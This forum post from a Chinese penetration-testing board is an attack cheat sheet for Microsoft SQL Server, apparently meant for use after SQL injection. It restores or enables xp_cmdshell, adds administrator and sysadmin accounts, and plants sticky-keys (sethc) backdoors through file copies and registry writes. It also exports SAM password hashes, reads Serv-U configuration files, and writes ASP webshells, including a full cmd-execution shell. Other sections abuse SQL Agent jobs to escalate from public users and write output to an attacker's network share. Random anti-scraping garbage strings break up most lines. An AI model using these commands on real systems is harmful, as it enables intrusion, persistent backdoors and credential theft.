中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
3 C5 `% k* }1 E6 z, ?恢复方法:查询分离器连接后,
( g4 A6 a# d1 I  n' v第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 6 ~5 h% I; c# i' m% K
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
( n. u& c5 K+ w2 t4 V然后按F5键命令执行完毕* P  I( z5 N7 K5 O1 Q0 t- ?

8 n6 Z; l. i& ]+ K2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& x; B0 N0 I) L/ L/ g' P8 n, q恢复方法:查询分离器连接后,
# {0 V+ `& F) Y; l0 l; |第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"7 o; a- V: z+ N- `9 N" X  @6 h' x. a
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
9 O' T, t4 y8 K% {) O7 r然后按F5键命令执行完毕+ Y/ ^$ c. c7 m) R5 U
, I% R9 G. Q. _/ T) U2 @! h6 j9 A
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
, p* d' T/ Y- Y7 k3 Y恢复方法:查询分离器连接后,
: c& ~$ i: H3 w9 G/ t. t% O第一步执行:exec sp_dropextendedproc 'xp_cmdshell'' A, x& Z3 z# b
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       3 w. I" f. N, q7 U. E6 L* U
然后按F5键命令执行完毕
: M' g3 E3 }  Z2 B8 a$ l
- f5 ]6 A* K1 g2 O3 \/ i4 终极方法.4 a0 ^  j6 l9 c6 ~. Z; Y
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:2 }+ ?4 q1 `/ o. q# L3 O
查询分离器连接后,. h( u8 Y  h  F# A5 P
2000servser系统:5 D+ K' J) s% V( |, w
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'  O; b3 |# m0 D

6 x( j0 h6 v: T  H; |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
' K; z. `$ ?) w9 U* F, P
. y( J) f( A: m1 q* @" Uxp或2003server系统:
; s8 L' q; k9 N4 q$ h/ N
; I( i- {8 [* c- u0 z- ?declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add') i1 j% }: u4 U9 f$ W4 q# z
4 [& p1 c4 o, z2 r3 T4 S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'& p; z/ q$ S' b( J$ m2 L" K5 U
* P/ i) G$ f  r( y' A

! f, ^8 e; R1 @0 u- \* U0 M' W五个SHIFT
. |2 }/ t! g$ Y3 i+ |# [declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';" w! O4 M* [/ b9 P' @9 c- `
- Y5 G. m% e6 b
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( _4 g6 _, }: x6 }2 s8 `$ Q2 `5 z
' l0 _! j/ Q& ?3 @xp_cmdshell执行命令另一种方法
0 k( ?+ y0 s( d3 {1 S9 Ddeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
- Z0 s5 T8 Y5 I2 D7 W- m8 _7 v
0 \$ |0 ^- \4 U' z判断存储扩展是否存在
# B0 K$ A6 i! BSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
3 R( P% g- K4 q. d返回结果为1就OK) B$ B; x  c5 V2 a. `) V
. g- c: V. N/ C

' x# L5 p& ~0 v0 ]' \上传xplog70.dll恢复xp_cmdshell语句:
1 j) s; t# I" nsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'; j4 }6 R$ K, _% k( O. N
+ V& i4 e! ^) p* Z
否则上传xplog7.0.dll5 T3 W8 c$ g( Z$ ]2 `
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ \# ~2 o1 S" j

* h) B8 Z8 E. `8 i  S
/ l  h5 C* R( P# F8 o3 b3 N+ }6 S# k; X, F2 ^) q: {# T, b) \
首先开启沙盘模式:
7 Y  s, {7 A3 G* X; f& u& {6 Dexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 j, Y1 B/ l' B# M2 _/ f+ F( J4 P* l) A! Q+ b
然后利用jet.oledb执行系统命令
5 C0 I' S9 }; Q1 R  Vselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
9 M9 g4 c# x7 L0 O5 a0 J9 k; r返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
0 p  v9 }9 {+ d7 A; n( t0 k; `8 t
0 a7 [6 B' g$ |$ \6 E! a$ R3 y" {" I5 S3 t
) L% s/ L; O* K  L- L1 o
恢复过程sp_addextendedproc 如下: ) G7 ^) ~8 o1 }  D7 J
create procedure sp_addextendedproc --- 1996/08/30 20:13 / h* b& M3 q2 X$ S
@functname nvarchar(517),/* (owner.)name of function to call */
4 ^4 a5 |% i: O  r0 D1 g8 f8 W@dllname varchar(255)/* name of DLL containing function */ 1 U) T+ e& W% `; {$ Z7 b
as 7 J, q1 P5 h) {6 U, q" T
set implicit_transactions off
9 I% M: `% T; B3 u9 ~( Uif @@trancount > 0   A+ B3 t: @( Y$ c
begin
( i& x( b6 l% G' f& F7 _: Mraiserror(15002,-1,-1,'sp_addextendedproc')
: B& a' ]4 O, n3 m, greturn (1)
& S1 w3 w  s* t/ I7 e- ]end 1 q3 e/ N' Q$ a  Q
dbcc addextendedproc( @functname, @dllname) ; p6 I2 }! h. u0 Z
return (0) -- sp_addextendedproc
- {& f5 A" V; EGO 2 l9 E, a5 ~2 w. E' z1 z

" [  ~  ^) S+ L( v: m- X: V; O3 ~! j2 U
/ b9 _6 \/ V) c: H( {" w
导出管理员密码文件: u1 S7 E3 G0 T# M3 y
sa默认可以读sam键.应该。
/ N, d' Q. [$ f, t2 H/ Zreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
! ?: k( o6 n2 a: Z* s6 |7 Enet user administrator test, @* c& `5 H  D+ j: o
用administrator登陆.4 c/ w# d* }9 b
用完机器后7 H; e  t- [$ ~  e
reg import c:\test.reg
+ _( o3 [4 l6 S7 N* ^根本不用克隆.
$ k2 r9 G: R+ v, f3 L, g* h找到对应的sid.
# @! G9 F) y+ L2 d! [: V/ d$ }+ d/ X2 r8 |$ f( L9 V% ?% t
% g$ j9 h" [" s) e

# z0 q  U$ z( i/ j+ @8 {恢复所有存储过程6 J3 R$ B; o3 S7 \+ A" A
use master
" L) @: @  P! H  Z6 R! zexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 1 F5 z2 r! o2 d
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
& o, |' Q; i/ {2 R- Pexec sp_addextendedproc xp_loginconfig,'xplog70.dll' + T+ N% \1 N6 k' O  ^
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
# J) I3 j5 f% P8 X$ qexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
9 J5 j1 x+ H& A; y# c- l+ y1 |. rexec sp_addextendedproc sp_OACreate,'odsole70.dll'
( m/ o  r" V/ m# t: h8 f: ^* Texec sp_addextendedproc sp_OADestroy,'odsole70.dll' / u0 S: W2 Q' [+ s' C9 L
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ) M: F: H" E* p# |, J
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 5 {3 l# i3 J# W+ i0 c2 Z% V
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ) \/ F3 i7 y' Z$ Y4 O( O$ S3 l5 g9 g
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 3 |9 G5 \+ x0 ]7 ^2 H* l+ e2 H( ~6 e7 k
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ( q+ V7 z  Y8 G4 D6 V7 `4 m; T
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
2 _6 B3 p2 v4 C0 Z7 Wexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
3 h4 W0 I; H2 p# Bexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
& P# C/ B) U/ o6 f& U6 ^exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
; i6 _8 X6 @# g( `5 T0 eexec sp_addextendedproc xp_regread,'xpstar.dll' . \% O6 s- @- c' }2 U" V3 m
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 7 J3 {. [- C( S( c' p! s0 f
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
) z  N4 J/ W# P0 c2 g2 y0 eexec sp_addextendedproc xp_availablemedia,'xpstar.dll'$ C- x# S( L; G- q

+ v- _9 q9 ~, J" `/ i
9 f1 B  M5 C6 c+ \0 m" y, _建立读文件的存储过程+ a# M9 I8 s$ K
Create proc sp_readTextFile @filename sysname
" D( [2 e  c# N) a& H$ m6 }as$ L# ~' }; g6 E& Q
; W/ r1 L* }3 ~$ v/ }5 Y; O
    begin
' Q# _2 G, B- G" O' E% K    set nocount on
) d7 ~; o5 e; d; b    Create table #tempfile (line varchar(8000))9 A3 z- ^7 j3 n! S
    exec ('bulk insert #tempfile from "' + @filename + '"')& z! ~. K1 O" b/ u1 F: S2 o% T
    select * from #tempfile
: \0 X% g# N) U    drop table #tempfile
$ @2 }" A( }, {8 W6 [. CEnd
# Q0 U  W& v- d7 s4 X/ I2 b. W1 e
' g7 ~% h7 B0 {9 e/ ^) `. F4 g1 @exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件! E$ O+ e9 H( ]0 `* D; Y
查看登录用户
1 m( e/ n% {2 _+ `2 B: ]Select * from sysxlogins1 L, T2 E2 t1 t1 K
0 `, g1 K+ ^% ^# |
把文件内容读取到表中
! d5 [* P# R! H' l, XBULK INSERT tmp from "c:\test.txt"$ M% {& i" T: {" p4 t
dElete from 表名 清理表里的内容
' N) S  r5 L3 x3 q, Icreate table b_test(fn nvarchar(4000));建一个表,字段为fn7 }: W( z9 e  {2 b

( P; v* e& ~' ?1 Q! T  K& [  E. H/ K8 l2 P, r
加sa用户$ A1 m7 m$ y0 E% Y8 B& I
exec master.dbo.sp_addlogin user,pass;
5 ?, e- W4 t3 U5 \exec master.dbo.sp_addsrvrolemember user,sysadmin1 S# \7 H2 {* m+ N' F2 F/ @

! E. W; j7 k7 A7 ~- Y- i9 J) ]* o/ b, I
  o+ ^1 S; x3 t; B" H5 E( z7 f
读文件代码8 J' M6 d! }6 ^( m9 D
declare @o int, @f int, @t int, @ret int
! a3 H5 Z3 f) ^- N$ kdeclare @line varchar(8000)0 Q( o1 x* S( V7 ?- D8 e; Q2 {+ u9 N
exec sp_oacreate 'scripting.filesystemobject', @o out
% S7 T6 T' R. L/ F5 ?1 [exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
' o% B6 t* `7 U3 Kexec @ret = sp_oamethod @f, 'readline', @line out; W8 r0 N! m) Y5 y0 c1 @: u
while( @ret = 0 ); x0 ^# h$ y% ?% h  v; n5 _
begin
9 s( F; x( V$ iprint @line
0 T$ l+ Y5 t! U! @+ e5 h+ ]exec @ret = sp_oamethod @f, 'readline', @line out
, z8 i' I# `# s! Q. J5 ]$ Dend0 H8 a- G6 {# S1 `, U5 A

3 e6 Q; F; ~9 d. p' Y. Y9 `$ d8 r* F, i: ?
写文件代码:
/ T8 R8 l5 D8 k0 Z" D% x0 [. Odeclare @o int, @f int, @t int, @ret int' r; H0 u. d2 j5 g+ K& b
exec sp_oacreate 'scripting.filesystemobject', @o out6 `' Q7 k6 W) L( S  u/ g& t
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
. t9 x0 R" j1 y0 |$ b4 Y7 T/ Fexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
/ h0 ^- T% n9 e0 u, u# @8 U! U0 ]+ w3 T0 y

: @) m* a. X7 c' \( R: D3 y添加lake2 shell
# c2 K, l, Y, esp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'  K% Y" @6 p2 U: k: q3 L7 t  S
sp_dropextendedproc xp_lake2. }3 l: j* @& ]( |( x# L7 ^: F
EXEC xp_lake2 'net user'1 A; U( ~/ ^% L, Y
  H4 |. T5 r% l4 I

1 i- F) P! ^& e) p得到硬盘文件信息 9 G6 O" i9 e, r, ]7 `; G9 m
--参数说明:目录名,目录深度,是否显示文件 6 @: r. \  B& H! U; J  u
execute master..xp_dirtree 'c:'
8 H# N" I5 v  Texecute master..xp_dirtree 'c:',1
  r, ^2 ~. _: B! C9 X/ V1 J& {execute master..xp_dirtree 'c:',1,1 ' a" I& ^& e9 I

! ~! X7 T1 {1 u
, e) c/ h( {/ e  q读serv-u配置信息
, a. b4 e& W0 `9 S6 h8 K4 Iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'" ^7 s7 R6 U! V7 F/ Q
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', q9 h2 h3 r& ?# ^

* z* c9 I2 X! s# y+ k8 N通过xp_regwrite写SHIFT后门
! P0 I- s, {+ S3 d2 |5 gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--$ e& A9 d3 W" V( g  V8 n7 _
9 D# W& g) `2 A
% ]3 ]  N. s! ?0 h, C. j
% z  a* V2 X! r
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';$ f8 C7 X5 E, P1 r$ A7 g
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
* y) ^/ M$ Z. G% g( Y+ w. H$ {& {: B) F$ l0 s3 a$ W  @+ q4 u; t$ i
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'% }9 A" ~3 e9 W7 j3 v
7 Y5 T$ h/ Z( j6 j* O

% p2 s0 G+ I; X. C# K4 G" Y' H) Y# f: I3 p- l$ y" C
sql server 2005下开启xp_cmdshell的办法
* z7 u, l! D7 w! a3 V$ S) Z
/ f& a5 b9 h; H. I! WEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 }) B. w( ]0 z# m5 e8 Y' O9 G- w- x6 Z3 ?7 s/ v0 ~. q/ e+ W: _; K
SQL2005开启'OPENROWSET'支持的方法:. ]0 w  E9 N7 p# O
0 y! ~$ @- H5 _9 a8 t2 i1 G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
! {/ K& f* X/ c
/ t+ T# D, F# C( D5 L; |  E+ H! hSQL2005开启'sp_oacreate'支持的方法:
+ w# e7 V: O, B0 V  w/ ~" q2 {0 L# s' \
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 d5 H, k7 R) f/ j" H: F
, m& l" _  T  F0 ?4 [$ q" Q# b& E& Y7 B) @# }

: v+ H# f: H* x% Q1 p  |8 I; B  @
* Y* K2 B3 Q2 ~: e: A' f) Z; E$ K- A- O4 L* Q, G# ]$ G/ q

, r9 o5 Z8 J  R- @' ^6 N, [1 v+ S  b

3 a. v* e  W/ F* @. [# ~& Y% @, [) B* D

/ B0 T1 b' X( S9 g* Z. w% {- L) r8 F
, Y9 b# K4 \7 S2 ]% L/ x7 S6 [; c6 ~- y( n+ a! U

2 Y! ~- H2 V0 |- K# E
8 q$ W4 @% Z( U0 P) u
' B1 N. c# J% e# c  ]8 w' d2 }$ D; g7 Q- q' D
- `: I8 ?6 ?  }
9 ~$ I- I: W( C* g2 @7 I  V/ s
5 d/ ?4 G! ^+ Z+ y4 O
$ P* X0 k6 G: c: `/ _3 D. Q) E5 z
- g- }7 a  |6 R3 {

3 ]' O' |! z+ q. C0 v; e$ U% L4 k

0 V9 B0 G- n# a7 s6 w以下方面不知道能不能成功暂且留下研究哈:
! e' L, f9 S2 C& X4)
- o7 {, P2 w8 i+ Yuse msdb; --这儿不要是master哟+ R" H, z: M* L/ O5 l
exec sp_add_job @job_name= czy82 ;, X( ]: T# v) O% g9 ^
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" N% y2 p9 Q0 yexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
+ w, P3 ~' l3 Q0 n, |: |exec sp_start_job @job_name= czy82 ;- ~2 t' l! Y: Y/ e6 \

; G3 W* y. s( U+ b利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以( W* c/ h, `' d  ~3 |' n( m, A; s+ @
执行tsql语句了.
* r! t8 @: Z0 a4 Z* T- _对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名, Y' S& u% k) C. x- |
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
; ?) d; z5 w9 G7 Gnet start SQLSERVERAGENT
7 b& }0 Q8 t: n9 H! c* s: V/ H( r/ Q- G" z
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
2 a% q- ?3 ^( G4 ~USE msdb& Y, n/ ~, g3 N* t" z2 {: l& M
EXEC sp_add_job @job_name = GetSystemOnSQL ,
) C$ }# `) l3 B2 }5 |@enabled = 1,
  e  o' o5 I. l' M@description = This will give a low privileged user access to9 k5 ~# Q( f" Z' ^" F$ U: |$ C+ i2 y
xp_cmdshell ,
) a6 }& E' T% p! p) f2 P( `@delete_level = 1% j7 L7 A8 t- o' A
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
/ H; m& ^. U1 Y) L0 R1 J@step_name = Exec my sql ,
1 u* q- d: {* r@subsystem = TSQL ,
9 J. B! x! G# [0 _0 Q( C) z7 ~4 `# W@command = exec master..xp_execresultset N select exec; y' X0 H! `2 A* r! ]
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
0 e1 M# u, u  lEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,4 P) q" L4 H8 h$ j; _
@server_name = 你的SQL的服务器名
% y6 S! b( N+ Q1 vEXEC sp_start_job @job_name = GetSystemOnSQL
4 r6 w& J& z7 o0 {
( W) ~  B" F3 y* W( Y8 ]! J* B不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以: Q# L5 Y' _( m1 r$ K
才让我们可以以public执行xp_cmdshell
# Q; f6 J3 B4 `& R. }2 L; _1 I& A% S4 t
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
4 H# ]1 X. M" {' L7 T4 {在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968, P( ]0 F; E4 T' N( y. M  b

+ L2 a* n  b. w6 Y5 y: P; k/ @USE msdb; q( e2 M8 z& E$ v4 J
EXEC sp_add_job @job_name = ArbitraryFilecreate ,) v: x* o1 d0 j; M5 N
@enabled = 1,
# ~5 v0 Z5 a" n( x@description = This will create a file called c:\sqlafc123.txt ,
% D& N1 J" b9 {4 P@delete_level = 1* t5 C! `, g7 Y1 Y9 u1 X! }0 S
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
2 h) \( e% Z/ P8 V, E& L. V. D' h@step_name = SQLAFC ,
: O% y2 k, Q+ V+ n: I& |@subsystem = TSQL ,
5 t$ h, l# [5 ?% |4 d: [& S  O/ a@command = select hello, this file was created by the SQL Agent. ,
' u/ {. u$ x" H( z6 [@output_file_name = c:\sqlafc123.txt 9 }0 t, A) y* H
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
$ k. b3 Z, J8 V@server_name = SERVER_NAME
0 B$ d& N0 C4 @) \( \. F2 lEXEC sp_start_job @job_name = ArbitraryFilecreate 2 w2 e, n5 V4 o8 s5 Z& Y
9 l$ E. @$ K- J3 m/ d8 k) W" ]" C
如果subsystem选的是:tsql,在生成的文件的头部有如下内容; W" z1 g1 A. |
; N. O5 z' k4 m- ]( Z3 t# M5 V
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19$ n$ ?) S+ s- N- F! e
----------------------------------------------
( O9 t$ L9 z, l* E4 Ghello, this file was created by the SQL Agent.
& s- T# Q3 F0 X
; l6 M  h3 B  x* x9 X# s% H(1 ?????)
/ {# N8 a/ W% y% h" b
) X3 V! ], t  b) m所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) r2 u5 ?, u0 f/ P, v1 t5 @' a
命令的vbs文件到启动目录!
, R+ F+ k! ~8 t7 h% ?# G
1 D0 p: j6 V) G" W: ]4 B) T6)关于sp_makewebtask(可以写任意内容任意文件名的文件)# b: V- ?1 S9 u4 w
关于sp_MScopyscriptfile 看下面的例子
# O( `# D" @3 {7 Y5 n) Bdeclare @command varchar(100) 9 c' T: f& O( I! {  d
declare @scripfile varchar(200) 6 t0 S3 c5 {, x* H( f
set concat_null_yields_null off
" }( t8 ?6 |3 \+ [6 ?) Vselect @command= dir c:\ > "\\attackerip\share\dir.txt" & c6 K0 z  ?0 d" Y5 e  [6 a
select @scripfile= c:\autoexec.bat > nul" | @command | rd " , ]) S7 n# T$ \: e
exec sp_MScopyscriptfile @scripfile , , v% y: l+ r+ @. g% x3 r
. q% B+ f% {$ z
这两个东东都还在测试试哟4 i% L' q4 T* F
让MSSQL的public用户得到一个本机的web shell' q  ^. x  x0 v, u

' I! F8 c/ _# v. U* J0 d; A* [sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,# S: O& s; H. V( v
--@query= select <img src=vbscript:msgbox(now())> ( z, \* b- E* [4 m# T
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 7 v* a3 r. A0 R1 u- s
@query= select $ l! b+ V% I- V3 F
<%On Error Resume Next 4 e5 ~& k9 f% S
Set oscript = Server.createObject("wscript.SHELL")
2 P8 }) R' y( z' t9 Y  v  n8 dSet oscriptNet = Server.createObject("wscript.NETWORK")
( |2 I" Q$ v3 b4 ASet oFileSys = Server.createObject("scripting.FileSystemObject")
5 ]3 I; c; J7 d  OszCMD = Request.Form(".CMD") ; e% [5 J  Z5 b+ i2 v: @) n  J
If (szCMD <>"")Then
" ^- F: P( z* T0 q& s# Z8 _7 DszTempFile = "C:\" & oFileSys.GetTempName()
7 y& f: I5 `/ P# ?Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
7 \! s6 u# o& o3 e$ @Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
4 S- C1 H( _  W" mEnd If %>
4 d$ V$ o& b" _$ T. ?& C<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> ) z6 ^+ u6 v6 n3 X
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
; \* n: o+ o% N9 J% B1 V</FORM><RE> $ w- J4 `1 L8 t" p# m
<% If (IsObject(oFile))Then
4 u0 ]; s5 K4 u5 w6 w% C" ?On Error Resume Next / t) R5 s* J, E2 x
Response.Write Server.HTMLEncode(oFile.ReadAll) ' h; h$ S! f: @' B0 e- C% D  A% o
oFile.Close 1 t. n& t! ?7 D7 d$ G2 j" j, u$ I5 p. `
Call oFileSys.deleteFile(szTempFile, True) 6 }+ z& b& Z5 D/ D- _: W+ P
End If%>
2 o' U$ _- x( y</BODY></HTML> 6 \0 e: p3 n& l





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2